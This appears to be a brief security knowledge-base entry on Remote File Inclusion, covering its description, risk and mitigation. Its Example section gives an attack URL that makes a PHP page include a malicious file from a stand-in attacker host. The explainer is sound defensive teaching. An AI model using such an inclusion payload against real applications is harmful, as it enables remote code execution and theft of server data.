Input Validation / Remote File Inclusion

Description

Remote File Inclusion (RFI) is a type of vulnerability classified by the Common Weakness Enumeration (CWE-98) as an input validation issue. It occurs when a web application or API allows the inclusion of remote files through user input parameters. When exploited, an attacker can take advantage of this vulnerability and gain access to sensitive data or inject malicious code into the application. According to the OWASP Testing Guide, RFI is an attack vector that can occur when user input is not properly sanitized, allowing an attacker to include a file from a remote web server.

Risk

The risk of RFI is high, as this vulnerability can lead to remote code execution, data theft, and other malicious activities. Data can be stolen from the server, and attackers can gain access to confidential information. Additionally, malicious code can be injected into the application, allowing attackers to gain control over the system, malware can be downloaded to the server, and the server can be used for malicious purposes.

Solution

The best way to mitigate the risk of RFI is to properly validate user input and ensure that it is properly sanitized. This can be done by limiting the types of characters that can be used, and by implementing blacklisting or whitelisting techniques. Additionally, input should be checked against a known list of malicious files and any malicious links should be blocked.

Example

The following example, taken from the CVE directory (CVE-2018-18235), shows how an attacker can exploit an RFI vulnerability to gain access to sensitive data.

http://example.com/index.php?file=http://attacker.com/malicious.txt

In this example, the attacker has provided a malicious file as an input parameter, which will be included into the application and executed.